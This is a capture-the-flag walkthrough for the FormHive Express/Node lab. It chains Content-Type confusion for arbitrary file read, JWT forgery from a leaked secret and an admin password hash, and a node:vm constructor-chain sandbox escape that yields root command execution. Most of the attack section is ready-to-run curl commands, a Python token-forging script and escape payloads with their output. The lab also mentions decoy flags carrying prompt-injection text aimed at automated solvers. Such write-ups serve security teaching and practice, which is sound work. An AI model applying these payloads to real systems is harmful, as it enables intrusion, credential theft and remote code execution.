Lab 258 — FormHive — Content-Type Confusion to JWT Forgery to Sandbox Escape
Lab 258 — FormHive — Content-Type Confusion to JWT Forgery to Sandbox Escape
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: constructor_chain_traversal, content_type_confusion_file_read, jwt_credential_hash_forgery, jwt_secret_extraction, node_vm_sandbox_escape, sqlite_credential_dump
Summary
Walkthrough of the CUSTOM Web Lab 258 — FormHive — Content-Type Confusion to JWT Forgery to Sandbox Escape. Task: Express/Node form builder; chain three bugs to read the flag. Solution: Content-Type confusion on a multer upload.any() endpoint that trusts JSON files[field].filepath gives arbitrary file read
Event: hackadvisor Category: web Difficulty: medium
Tags: content_type_confusion, arbitrary_file_read, jwt, jwt_forgery, hs256, nodejs, express, node_vm, sandbox_escape, rce, sqlite, multer, decoy_flags, prototype_chain Techniques: content_type_confusion_file_read, jwt_secret_extraction, sqlite_credential_dump, jwt_credential_hash_forgery, node_vm_sandbox_escape, constructor_chain_traversal Tools: curl, python3, pyjwt, sqlite3
Description
FormHive is a modern form builder platform by HiveStack Labs. Users create web forms with text inputs, dropdowns, and file uploads; forms can be shared publicly. The platform has a dashboard, an admin panel for advanced template customization with dynamic expression evaluation, and a public form gallery. Goal: chain vulnerabilities to escalate access and retrieve the flag.
Stack: Express.js (Node.js), EJS views, better-sqlite3, multer, jsonwebtoken (HS256), node:vm. Credentials: user@test.com / password123.
Decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} is embedded in HTML comments / hidden divs with prompt-injection text — ignored.
Vulnerability chain
- Content-Type Confusion → arbitrary file read in the form submission endpoint.
- JWT forgery using the leaked signing secret + admin credential data.
- node:vm sandbox escape in the admin template-preview expression evaluator → flag.
Step 1 — Content-Type Confusion (arbitrary file read)
POST /api/forms/:id/submit is wrapped with multer's upload.any() for multipart uploads, but it also processes a JSON files object:
javascript read-only • copy allowedfunction processFormFiles(reqBody, formFields) { const fileFields = formFields.filter(f => f.type === 'file'); for (const field of fileFields) { const fileData = reqBody.files && reqBody.files[field.name]; if (!fileData) continue; const sourcePath = fileData.filepath; // attacker-controlled const destName = uuidv4() + '-' + (fileData.originalFilename || 'upload'); const destPath = path.join('/app/data/uploads', destName); fs.copyFileSync(sourcePath, destPath); // arbitrary file read! processedFiles[field.name] = { filename: ..., storedAs: destName, ... }; } }
When the request is sent as application/json (not multipart/form-data), req.body.files[<fileField>].filepath is taken verbatim and fs.copyFileSync copies any server file into the publicly downloadable uploads directory. The stored file is then retrievable at GET /api/uploads/<storedAs>.
This requires a public, active form that has a field of type: "file". The gallery form 27749512-... has the field screenshot.
bash read-only • copy allowedURL="https://<instance>.labs.hackadvisor.io" F="27749512-700c-45ba-a363-48dc63ae7466" # public form with a file field "screenshot" # Copy the app config out curl -s -X POST "$URL/api/forms/$F/submit" -H "Content-Type: application/json" \ -d '{"files":{"screenshot":{"filepath":"/app/data/config.json","originalFilename":"config"}}}' # -> {"...","files":{"screenshot":{"storedAs":"<uuid>-config", ...}}} curl -s "$URL/api/uploads/<uuid>-config" # downloads /app/data/config.json
Note: the original sanitized path
GET /api/uploads/..%2f..%2fserver.jsalso yieldsserver.jsbecausepath.joincollapses the URL-decoded traversal — handy for reading the source. But the intended primitive is the JSONfiles.filepathcopy, which reads files outside the static root (config, the SQLite DB, etc.).
Leaked config (/app/data/config.json):
json read-only • copy allowed{ "JWT_SECRET": "168c0c4dbe992edfabf0a11dd711ec67494304de950b4caec91558b7122bfee7", ... }
Leaked database (/app/data/formhive.db):
bash read-only • copy allowedcurl -s -X POST "$URL/api/forms/$F/submit" -H "Content-Type: application/json" \ -d '{"files":{"screenshot":{"filepath":"/app/data/formhive.db","originalFilename":"db"}}}' curl -s "$URL/api/uploads/<uuid>-db" -o formhive.db sqlite3 formhive.db "SELECT id,email,role,password_hash FROM users WHERE role='admin';" # ce199e1f-ce3f-476f-8922-7d661279eae2 | admin@formhive.io | admin | # $2a$10$iw5P4PPJZ6PvP3E4uKrV7Ouo63/mFtG2qLQlJ6S0yih8iEEJXmUZS
Step 2 — JWT forgery
The session JWT payload is { id, hash } (no role). The auth middleware looks the user up by id and validates hash:
javascript read-only • copy allowedconst expectedHash = crypto.createHash('sha256') .update(user.email + ':' + fullUser.password_hash) .digest('base64') .substring(0, 10); if (decoded.hash !== expectedHash) { req.user = null; ... }
With the admin's email, password_hash (from the DB) and the JWT_SECRET (from config), forge a valid admin token:
python read-only • copy allowedimport jwt, hashlib, base64 SECRET = "168c0c4dbe992edfabf0a11dd711ec67494304de950b4caec91558b7122bfee7" aid = "ce199e1f-ce3f-476f-8922-7d661279eae2" email = "admin@formhive.io" pwh = "$2a$10$iw5P4PPJZ6PvP3E4uKrV7Ouo63/mFtG2qLQlJ6S0yih8iEEJXmUZS" h = base64.b64encode(hashlib.sha256((email + ":" + pwh).encode()).digest()).decode()[:10] # 8aztAnpxWE print(jwt.encode({"id": aid, "hash": h}, SECRET, algorithm="HS256"))
Set fh_session=<token> → GET /admin/templates returns 200 (admin).
Step 3 — node:vm sandbox escape (flag)
The admin template-preview endpoint evaluates ${{ ... }} expressions through node:vm:
javascript read-only • copy allowedfunction evaluateExpression(expr, context) { const ctx = vm.createContext(Object.assign({}, context)); return vm.runInNewContext(expr, ctx, { timeout: 2000 }); } // POST /admin/api/templates/preview: content.replace(/\$\{\{(.+?)\}\}/gs, (_, expr) => evaluateExpression(...))
node:vm is not a security sandbox. The flag is loaded into global.__appFlag at boot (the file /tmp/.flag is deleted), so it is only reachable from the main context. Escape via the constructor chain:
bash read-only • copy allowedTOK="<forged admin jwt>" curl -s -b "fh_session=$TOK" -X POST "$URL/admin/api/templates/preview" \ -H "Content-Type: application/json" \ -d '{"content":"${{ this.constructor.constructor(\"return global.__appFlag\")() }}"}' # -> {"success":true,"preview":"FLAG{REDACTED}"}
Sanity check first with ${{7*7}} → 49. Full RCE as root is also possible:
javascript read-only • copy allowedthis.constructor.constructor("return process")() .mainModule.require("child_process").execSync("id").toString() // uid=0(root)
Notes / lessons
- Content-Type Confusion: a single endpoint that accepts both multipart (multer) and JSON, where the JSON branch trusts a
filepath, turns "file upload" into arbitrary file read. Always test JSON bodies against multipart endpoints. - The JWT had no
roleclaim and used a credential-derivedhash— but once you can read both the secret and the DB, the "extra" hash check is trivially recomputed. node:vm(runInNewContext) is never a real sandbox:this.constructor.constructor("return global/process")()escapes to the host context.- Decoy flags and prompt-injection in the HTML must be ignored; the real flag requires the full RCE chain.
Key Takeaways / Lessons
- Mastering constructor_chain_traversal, content_type_confusion_file_read, jwt_credential_hash_forgery, jwt_secret_extraction, node_vm_sandbox_escape, sqlite_credential_dump was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-06-20 • CUSTOM • Lab 258 — FormHive — Content-Type Confusion to JWT Forgery to Sandbox Escape • Difficulty: Medium